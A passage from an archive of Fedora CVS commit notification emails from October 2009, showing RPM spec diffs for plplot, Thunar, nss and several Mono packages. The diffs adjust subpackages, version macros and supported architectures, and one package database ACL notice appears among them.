+mkdir -p $RPM_BUILD_ROOT%{_fmoddir}
+mv $RPM_BUILD_ROOT%{_libdir}/fortran/modules/plplot/*.mod %{_fmoddir}
+rm -rf $RPM_BUILD_ROOT%{_libdir}/fortran
+
 
 %check
 cd fedora
@@ -431,7 +448,6 @@ fi
 %{_bindir}/pstex2eps
 %{python_sitearch}/_plplotcmodule.so
 %{python_sitearch}/plplot.py*
-%{python_sitearch}/plplot_widgetmodule.so
 %{python_sitearch}/plplotc.py*
 %{python_sitearch}/Plframe.py*
 %{python_sitearch}/TclSup.py*
@@ -445,10 +461,11 @@ fi
 %{_datadir}/plplot%{version}/*.map
 %{_datadir}/plplot%{version}/*.pal
 %dir %{_datadir}/plplot%{version}/examples
-%{_datadir}/plplot%{version}/examples/python/
-%{_datadir}/plplot%{version}/examples/test_python.sh
+%{_datadir}/plplot%{version}/examples/lena.pgm
 %{_datadir}/plplot%{version}/examples/plplot-test.sh
 %{_datadir}/plplot%{version}/examples/plplot-test-interactive.sh
+%{_datadir}/plplot%{version}/examples/python/
+%{_datadir}/plplot%{version}/examples/test_python.sh
 
 %files libs
 %defattr(-,root,root,-)
@@ -496,16 +513,9 @@ fi
 %{_libdir}/libcsironn.so
 %{_libdir}/libplplotcxxd.so
 %{_libdir}/libplplotd.so
-%{_libdir}/libplplotf77cd.so
-%{_libdir}/libplplotf77d.so
-%{_libdir}/libplplotf95cd.so
-%{_libdir}/libplplotf95d.so
 %{_libdir}/libqsastime.so
-%{_libdir}/fortran/
 %{_libdir}/pkgconfig/plplotd.pc
 %{_libdir}/pkgconfig/plplotd-c++.pc
-%{_libdir}/pkgconfig/plplotd-f77.pc
-%{_libdir}/pkgconfig/plplotd-f95.pc
 %{_datadir}/plplot%{version}/examples/CMakeLists.txt
 %dir %{_datadir}/plplot%{version}/examples/cmake
 %dir %{_datadir}/plplot%{version}/examples/cmake/modules
@@ -515,17 +525,12 @@ fi
 %{_datadir}/plplot%{version}/examples/cmake/modules/export_plplot.cmake
 %{_datadir}/plplot%{version}/examples/cmake/modules/pkg-config.cmake
 %{_datadir}/plplot%{version}/examples/cmake/modules/plplot_configure.cmake
-%{_datadir}/plplot%{version}/examples/lena.pgm
 %{_datadir}/plplot%{version}/examples/c/
 %{_datadir}/plplot%{version}/examples/c++/
-%{_datadir}/plplot%{version}/examples/f77/
-%{_datadir}/plplot%{version}/examples/f95/
 %{_datadir}/plplot%{version}/examples/Makefile
 %{_datadir}/plplot%{version}/examples/test_c.sh
 %{_datadir}/plplot%{version}/examples/test_cxx.sh
 %{_datadir}/plplot%{version}/examples/test_diff.sh
-%{_datadir}/plplot%{version}/examples/test_f77.sh
-%{_datadir}/plplot%{version}/examples/test_f95.sh
 %{_mandir}/man3/pl*.3*
 
 %files ada
@@ -549,6 +554,22 @@ fi
 %{_datadir}/plplot%{version}/examples/cmake/modules/CMakeDetermineAdaCompiler.cmake
 %{_datadir}/plplot%{version}/examples/cmake/modules/CMakeTestAdaCompiler.cmake
 
+%files fortran-devel
+%defattr(-,root,root,-)
+%{_fmoddir}/plplot.mod
+%{_fmoddir}/plplot_flt.mod
+%{_fmoddir}/plplotp.mod
+%{_libdir}/libplplotf77cd.so
+%{_libdir}/libplplotf77d.so
+%{_libdir}/libplplotf95cd.so
+%{_libdir}/libplplotf95d.so
+%{_libdir}/pkgconfig/plplotd-f77.pc
+%{_libdir}/pkgconfig/plplotd-f95.pc
+%{_datadir}/plplot%{version}/examples/f77/
+%{_datadir}/plplot%{version}/examples/f95/
+%{_datadir}/plplot%{version}/examples/test_f77.sh
+%{_datadir}/plplot%{version}/examples/test_f95.sh
+
 %files java
 %defattr(-,root,root,-)
 %{_libdir}/plplot%{version}/plplotjavac_wrap.so
@@ -626,6 +647,7 @@ fi
 %{_libdir}/plplot%{version}/driversd/tk.so
 %{_libdir}/plplot%{version}/driversd/tkwin.rc
 %{_libdir}/plplot%{version}/driversd/tkwin.so
+%{python_sitearch}/plplot_widgetmodule.so
 %{_datadir}/plplot%{version}/pkgIndex.tcl
 %{_datadir}/plplot%{version}/examples/test_tcl.sh
 %{_datadir}/plplot%{version}/examples/tcl/
@@ -653,6 +675,12 @@ fi
 
 
 %changelog
+* Mon Oct 26 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-3
+- Create fortran-devel sub-package with fortran development files (bug #523543)
+
+* Thu Oct 22 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-2
+- Move the python plplot_widgetmodule.so to the tk sub-package
+
 * Mon Sep 28 2009 - Orion Poplawski <orion at cora.nwra.com> - 5.9.5-1
 - Update to 5.9.5
 - Disable qt tests for now until Xvfb bug is fixed.



From kevin at fedoraproject.org  Mon Oct 26 18:13:18 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 18:13:18 +0000 (UTC)
Subject: rpms/Thunar/devel Thunar.spec,1.27,1.28
Message-ID: <20091026181318.DF69411C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/extras/rpms/Thunar/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26398

Modified Files:
	Thunar.spec 
Log Message:
Fix typo



Index: Thunar.spec
===================================================================
RCS file: /cvs/extras/rpms/Thunar/devel/Thunar.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- Thunar.spec	26 Oct 2009 17:10:39 -0000	1.27
+++ Thunar.spec	26 Oct 2009 18:13:18 -0000	1.28
@@ -1,4 +1,4 @@
-%global evo_version 0.3.100
+%global exo_version 0.3.100
 
 Summary: Thunar File Manager
 Name: Thunar



From kevin at fedoraproject.org  Mon Oct 26 18:14:40 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Mon, 26 Oct 2009 18:14:40 +0000 (UTC)
Subject: rpms/Thunar/F-12 Thunar.spec,1.26,1.27
Message-ID: <20091026181440.3AF1811C0264@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/extras/rpms/Thunar/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27042

Modified Files:
	Thunar.spec 
Log Message:
fix exo BuildRequires



Index: Thunar.spec
===================================================================
RCS file: /cvs/extras/rpms/Thunar/F-12/Thunar.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- Thunar.spec	10 Sep 2009 19:04:06 -0000	1.26
+++ Thunar.spec	26 Oct 2009 18:14:40 -0000	1.27
@@ -1,7 +1,9 @@
+%global exo_version 0.3.100
+
 Summary: Thunar File Manager
 Name: Thunar
 Version: 1.0.1
-Release: 3%{?dist}
+Release: 4%{?dist}
 License: GPLv2+
 URL: http://thunar.xfce.org/
 Source0: http://www.xfce.org/archive/xfce-4.6.1/src/Thunar-%{version}.tar.bz2
@@ -14,7 +16,7 @@ BuildRequires: libjpeg-devel
 BuildRequires: libexif-devel
 BuildRequires: libpng-devel >= 2:1.2.2-16
 BuildRequires: desktop-file-utils >= 0.7
-BuildRequires: exo-devel >= 0.3.2
+BuildRequires: exo-devel >= %{exo_version}
 BuildRequires: startup-notification-devel >= 0.4
 BuildRequires: intltool gettext
 BuildRequires: dbus-glib-devel 
@@ -49,7 +51,7 @@ Summary: Development tools for Thunar fi
 Group: Development/Libraries
 Requires: %{name} = %{version}-%{release}
 Requires: pkgconfig
-Requires: exo-devel >= 0.3.2
+Requires: exo-devel >= %{exo_version}
 
 %description devel
 libraries and header files for the Thunar file manager.



From ausil at fedoraproject.org  Mon Oct 26 18:17:45 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:17:45 +0000 (UTC)
Subject: rpms/taglib-sharp/F-12 taglib-sharp.spec,1.9,1.10
Message-ID: <20091026181745.477DE11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/taglib-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27578

Modified Files:
	taglib-sharp.spec 
Log Message:
setup fopr building sparcv9



Index: taglib-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/taglib-sharp/F-12/taglib-sharp.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- taglib-sharp.spec	21 Aug 2009 00:35:15 -0000	1.9
+++ taglib-sharp.spec	26 Oct 2009 18:17:45 -0000	1.10
@@ -2,7 +2,7 @@
 
 Name:    taglib-sharp
 Version: 2.0.3.2
-Release: 4%{?dist}
+Release: 5%{?dist}
 Summary: Provides tag reading and writing for Banshee and other Mono apps
 
 Group:   System Environment/Libraries
@@ -13,7 +13,7 @@ Patch0:  taglib-sharp-2.0.3.2-libdir.pat
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # We only have mono on these arches:
-ExclusiveArch: %ix86 x86_64 ia64 ppc ppc64 armv4l sparc alpha ppc
+ExclusiveArch: %ix86 x86_64 ia64 ppc ppc64 armv4l sparc sparcv9 alpha ppc
 
 BuildRequires: mono-devel, monodoc-devel, gnome-sharp-devel
 
@@ -67,6 +67,9 @@ sed -i 's|${exec_prefix}/lib|%{_libdir}|
 %{_libdir}/pkgconfig/taglib-sharp.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.0.3.2-5
+- switch sparc to sparcv9
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 2.0.3.2-4
 - Build for ppc64
 



From ausil at fedoraproject.org  Mon Oct 26 18:18:26 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:18:26 +0000 (UTC)
Subject: rpms/taglib-sharp/devel taglib-sharp.spec,1.9,1.10
Message-ID: <20091026181826.E6E3511C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/taglib-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27779

Modified Files:
	taglib-sharp.spec 
Log Message:
build sparcv9



Index: taglib-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/taglib-sharp/devel/taglib-sharp.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- taglib-sharp.spec	21 Aug 2009 00:35:15 -0000	1.9
+++ taglib-sharp.spec	26 Oct 2009 18:18:25 -0000	1.10
@@ -2,7 +2,7 @@
 
 Name:    taglib-sharp
 Version: 2.0.3.2
-Release: 4%{?dist}
+Release: 5%{?dist}
 Summary: Provides tag reading and writing for Banshee and other Mono apps
 
 Group:   System Environment/Libraries
@@ -13,7 +13,7 @@ Patch0:  taglib-sharp-2.0.3.2-libdir.pat
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # We only have mono on these arches:
-ExclusiveArch: %ix86 x86_64 ia64 ppc ppc64 armv4l sparc alpha ppc
+ExclusiveArch: %ix86 x86_64 ia64 ppc ppc64 armv4l sparc sparcv9 alpha ppc
 
 BuildRequires: mono-devel, monodoc-devel, gnome-sharp-devel
 
@@ -67,6 +67,9 @@ sed -i 's|${exec_prefix}/lib|%{_libdir}|
 %{_libdir}/pkgconfig/taglib-sharp.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.0.3.2-5
+- switch sparc to sparcv9
+
 * Thu Aug 20 2009 Toshio Kuratomi <toshio at fedoraproject.org> - 2.0.3.2-4
 - Build for ppc64
 



From ausil at fedoraproject.org  Mon Oct 26 18:20:53 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:20:53 +0000 (UTC)
Subject: rpms/cowbell/F-12 cowbell.spec,1.19,1.20
Message-ID: <20091026182053.DC06511C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/cowbell/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29401

Modified Files:
	cowbell.spec 
Log Message:
Exclude sparc64 no mono



Index: cowbell.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cowbell/F-12/cowbell.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- cowbell.spec	24 Jul 2009 19:31:28 -0000	1.19
+++ cowbell.spec	26 Oct 2009 18:20:53 -0000	1.20
@@ -2,7 +2,7 @@
 
 Name:           cowbell
 Version:        0.3
-Release:        0.svn47.1%{?dist}.3
+Release:        0.svn47.1%{?dist}.4
 Summary:        Music organazier
 
 Group:         	Applications/Multimedia 
@@ -19,7 +19,7 @@ Patch1:         %{name}-CS0649.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # Various Mono dependencies are not available for ppc64; see bug 241850.
-ExcludeArch:    ppc64
+ExcludeArch:    ppc64 sparc64
 
 BuildRequires:  gnome-common, automake, autoconf, libtool, intltool
 BuildRequires: 	mono-devel, gtk-sharp2-devel, gtk-sharp2-gapi
@@ -95,6 +95,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.3.0-0.svn47.1.4
+- ExcludeArch sparc64 no mono
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3-0.svn47.1.3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:22:30 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:22:30 +0000 (UTC)
Subject: rpms/cowbell/devel cowbell.spec,1.19,1.20
Message-ID: <20091026182230.49DB811C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/cowbell/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29607

Modified Files:
	cowbell.spec 
Log Message:
Exlclude sparc64  no mono



Index: cowbell.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cowbell/devel/cowbell.spec,v
retrieving revision 1.19
retrieving revision 1.20
diff -u -p -r1.19 -r1.20
--- cowbell.spec	24 Jul 2009 19:31:28 -0000	1.19
+++ cowbell.spec	26 Oct 2009 18:22:30 -0000	1.20
@@ -2,7 +2,7 @@
 
 Name:           cowbell
 Version:        0.3
-Release:        0.svn47.1%{?dist}.3
+Release:        0.svn47.1%{?dist}.4
 Summary:        Music organazier
 
 Group:         	Applications/Multimedia 
@@ -19,7 +19,7 @@ Patch1:         %{name}-CS0649.patch
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 # Various Mono dependencies are not available for ppc64; see bug 241850.
-ExcludeArch:    ppc64
+ExcludeArch:    ppc64 sparc64
 
 BuildRequires:  gnome-common, automake, autoconf, libtool, intltool
 BuildRequires: 	mono-devel, gtk-sharp2-devel, gtk-sharp2-gapi
@@ -95,6 +95,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.3.0-0.svn47.1.4
+- ExcludeArch sparc64 no mono
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.3-0.svn47.1.3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:25:00 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:25:00 +0000 (UTC)
Subject: rpms/webkit-sharp/F-12 webkit-sharp.spec,1.5,1.6
Message-ID: <20091026182500.C9C3211C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/webkit-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30298

Modified Files:
	webkit-sharp.spec 
Log Message:
build for sparcv9 s390 s390x



Index: webkit-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/webkit-sharp/F-12/webkit-sharp.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- webkit-sharp.spec	27 Jul 2009 07:08:30 -0000	1.5
+++ webkit-sharp.spec	26 Oct 2009 18:25:00 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:		webkit-sharp
 Version:	0.2
-Release:	5%{?dist}
+Release:	6%{?dist}
 Summary:	.NET bindings for WebKit
 Group:		Development/Languages
 License:	MIT
@@ -18,7 +18,7 @@ BuildRequires:	gtk-sharp2-devel
 BuildRequires:	gtk-sharp2-gapi
 BuildRequires:	monodoc-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparcv9 alpha s390 s390x
 
 %description
 WebKit-sharp is .NET bindings for the WebKit rendering engine.
@@ -63,6 +63,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/monodoc/sources/webkit-sharp*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.2-6
+- build for sparcv9 s390 s390x
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:25:48 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:25:48 +0000 (UTC)
Subject: rpms/webkit-sharp/devel webkit-sharp.spec,1.5,1.6
Message-ID: <20091026182548.9916911C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/webkit-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30541

Modified Files:
	webkit-sharp.spec 
Log Message:
build for sparcv9 s390 s390x



Index: webkit-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/webkit-sharp/devel/webkit-sharp.spec,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- webkit-sharp.spec	27 Jul 2009 07:08:30 -0000	1.5
+++ webkit-sharp.spec	26 Oct 2009 18:25:48 -0000	1.6
@@ -2,7 +2,7 @@
 
 Name:		webkit-sharp
 Version:	0.2
-Release:	5%{?dist}
+Release:	6%{?dist}
 Summary:	.NET bindings for WebKit
 Group:		Development/Languages
 License:	MIT
@@ -18,7 +18,7 @@ BuildRequires:	gtk-sharp2-devel
 BuildRequires:	gtk-sharp2-gapi
 BuildRequires:	monodoc-devel
 
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparcv9 alpha s390 s390x
 
 %description
 WebKit-sharp is .NET bindings for the WebKit rendering engine.
@@ -63,6 +63,9 @@ make DESTDIR=%{buildroot} install
 %{_libdir}/monodoc/sources/webkit-sharp*
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.2-6
+- build for sparcv9 s390 s390x
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.2-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:27:33 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:27:33 +0000 (UTC)
Subject: rpms/gnome-sharp/F-12 gnome-sharp.spec,1.21,1.22
Message-ID: <20091026182733.496BE11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-sharp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31007

Modified Files:
	gnome-sharp.spec 
Log Message:
build sparcv9



Index: gnome-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-sharp/F-12/gnome-sharp.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- gnome-sharp.spec	25 Jul 2009 00:47:11 -0000	1.21
+++ gnome-sharp.spec	26 Oct 2009 18:27:32 -0000	1.22
@@ -1,6 +1,6 @@
 Name:           gnome-sharp
 Version:        2.24.0
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        GTK+ and GNOME bindings for Mono
 
 Group:          System Environment/Libraries
@@ -27,7 +27,7 @@ BuildRequires:  libgnomeprintui22-devel
 BuildRequires:  automake, libtool
 
 # Mono only available on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha s390 s390x
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparcv9 alpha s390 s390x
 
 %description
 This package provides a library that allows you to build
@@ -91,6 +91,9 @@ make install DESTDIR=$RPM_BUILD_ROOT GAC
 %{_libdir}/pkgconfig/gconf-sharp-peditors-2.0.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.24.0-7
+- build sparcv9
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.24.0-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From emaldonado at fedoraproject.org  Mon Oct 26 18:28:33 2009
From: emaldonado at fedoraproject.org (Elio Maldonado)
Date: Mon, 26 Oct 2009 18:28:33 +0000 (UTC)
Subject: rpms/nss/F-12 nss.spec,1.122,1.123
Message-ID: <20091026182833.5AD9211C0264@cvs1.fedora.phx.redhat.com>

Author: emaldonado

Update of /cvs/extras/rpms/nss/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31307

Modified Files:
	nss.spec 
Log Message:
Require nss-softoken of same arch as nss (#527867)


Index: nss.spec
===================================================================
RCS file: /cvs/extras/rpms/nss/F-12/nss.spec,v
retrieving revision 1.122
retrieving revision 1.123
diff -u -p -r1.122 -r1.123
--- nss.spec	6 Oct 2009 23:52:11 -0000	1.122
+++ nss.spec	26 Oct 2009 18:28:33 -0000	1.123
@@ -6,13 +6,13 @@
 Summary:          Network Security Services
 Name:             nss
 Version:          3.12.4
-Release:          14%{?dist}
+Release:          15%{?dist}
 License:          MPLv1.1 or GPLv2+ or LGPLv2+
 URL:              http://www.mozilla.org/projects/security/pki/nss/
 Group:            System Environment/Libraries
 Requires:         nspr >= %{nspr_version}
 Requires:         nss-util >= %{nss_util_version}
-Requires:         nss-softokn >= %{nss_softokn_version}
+Requires:         nss-softokn%{_isa} >= %{nss_softokn_version}
 BuildRoot:        %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires:    nspr-devel >= %{nspr_version}
 BuildRequires:    nss-softokn-devel >= %{version}                                                  
@@ -469,6 +469,9 @@ rm -rf $RPM_BUILD_ROOT/%{_includedir}/ns
 
 
 %changelog
+* Mon Oct 26 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-15
+- Require nss-softoken of same arch as nss (#527867)
+
 * Mon Oct 06 2009 Elio Maldonado<emaldona at redhat.com> - 3.12.4-14
 - Fix bug where user was prompted for a password when listing keys on an empty system database (#527048)
 - Fix setup-nsssysinit to handle more general flags formats (#527051)



From ausil at fedoraproject.org  Mon Oct 26 18:28:40 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:28:40 +0000 (UTC)
Subject: rpms/gnome-sharp/devel gnome-sharp.spec,1.21,1.22
Message-ID: <20091026182840.A6BE611C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/gnome-sharp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31269

Modified Files:
	gnome-sharp.spec 
Log Message:
build for sparcv9



Index: gnome-sharp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gnome-sharp/devel/gnome-sharp.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- gnome-sharp.spec	25 Jul 2009 00:47:11 -0000	1.21
+++ gnome-sharp.spec	26 Oct 2009 18:28:40 -0000	1.22
@@ -1,6 +1,6 @@
 Name:           gnome-sharp
 Version:        2.24.0
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        GTK+ and GNOME bindings for Mono
 
 Group:          System Environment/Libraries
@@ -27,7 +27,7 @@ BuildRequires:  libgnomeprintui22-devel
 BuildRequires:  automake, libtool
 
 # Mono only available on these:
-ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparc alpha s390 s390x
+ExclusiveArch: %ix86 x86_64 ppc ppc64 ia64 armv4l sparcv9 alpha s390 s390x
 
 %description
 This package provides a library that allows you to build
@@ -91,6 +91,9 @@ make install DESTDIR=$RPM_BUILD_ROOT GAC
 %{_libdir}/pkgconfig/gconf-sharp-peditors-2.0.pc
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 2.24.0-7
+- build sparcv9
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.24.0-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:30:22 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:30:22 +0000 (UTC)
Subject: rpms/sublib/F-12 sublib.spec,1.4,1.5
Message-ID: <20091026183022.4635011C0268@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/sublib/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31808

Modified Files:
	sublib.spec 
Log Message:
no sparc64 mono



Index: sublib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sublib/F-12/sublib.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sublib.spec	27 Jul 2009 04:57:06 -0000	1.4
+++ sublib.spec	26 Oct 2009 18:30:21 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           sublib
 Version:        0.9
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        A subtitle library
 
 Group:          System Environment/Libraries
@@ -13,6 +13,8 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildRequires:  mono-devel
 
+ExcludeArch: sparc64
+
 %description
 SubLib is a library that eases the development of subtitling applications. It
 supports the most common text-based subtitle formats and allows for subtitle
@@ -70,6 +72,9 @@ developing applications that use %{name}
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.9-6
+- disable for sparc64  no mono
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ausil at fedoraproject.org  Mon Oct 26 18:32:48 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:32:48 +0000 (UTC)
Subject: rpms/sublib/devel sublib.spec,1.4,1.5
Message-ID: <20091026183248.5482B11C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/sublib/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32034

Modified Files:
	sublib.spec 
Log Message:
Exlclude sparc64



Index: sublib.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sublib/devel/sublib.spec,v
retrieving revision 1.4
retrieving revision 1.5
diff -u -p -r1.4 -r1.5
--- sublib.spec	27 Jul 2009 04:57:06 -0000	1.4
+++ sublib.spec	26 Oct 2009 18:32:48 -0000	1.5
@@ -1,6 +1,6 @@
 Name:           sublib
 Version:        0.9
-Release:        5%{?dist}
+Release:        6%{?dist}
 Summary:        A subtitle library
 
 Group:          System Environment/Libraries
@@ -13,6 +13,8 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 
 BuildRequires:  mono-devel
 
+ExcludeArch: sparc64
+
 %description
 SubLib is a library that eases the development of subtitling applications. It
 supports the most common text-based subtitle formats and allows for subtitle
@@ -70,6 +72,9 @@ developing applications that use %{name}
 
 
 %changelog
+* Mon Oct 26 2009 Dennis Gilmore <dennis at ausil.us> - 0.9-6
+- disable for sparc64  no mono
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 0.9-5
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From pkgdb at fedoraproject.org  Mon Oct 26 18:34:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Mon, 26 Oct 2009 18:34:06 +0000
Subject: [pkgdb] gcc: jkratoch has requested watchcommits
Message-ID: <20091026183407.0B14510F880@bastion2.fedora.phx.redhat.com>

jkratoch has requested the watchcommits acl on gcc (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/gcc



From ausil at fedoraproject.org  Mon Oct 26 18:34:47 2009
From: ausil at fedoraproject.org (Dennis Gilmore)
Date: Mon, 26 Oct 2009 18:34:47 +0000 (UTC)
Subject: rpms/xsp/F-12 xsp.spec,1.40,1.41
Message-ID: <20091026183447.487D811C0264@cvs1.fedora.phx.redhat.com>

Author: ausil

Update of /cvs/pkgs/rpms/xsp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv372

Modified Files:
	xsp.spec 
Log Message:
enable sparcv9 s390 s390x



Index: xsp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xsp/F-12/xsp.spec,v
retrieving revision 1.40
retrieving revision 1.41
diff -u -p -r1.40 -r1.41
--- xsp.spec	27 Jul 2009 08:45:43 -0000	1.40
+++ xsp.spec	26 Oct 2009 18:34:47 -0000	1.41
@@ -1,6 +1,6 @@
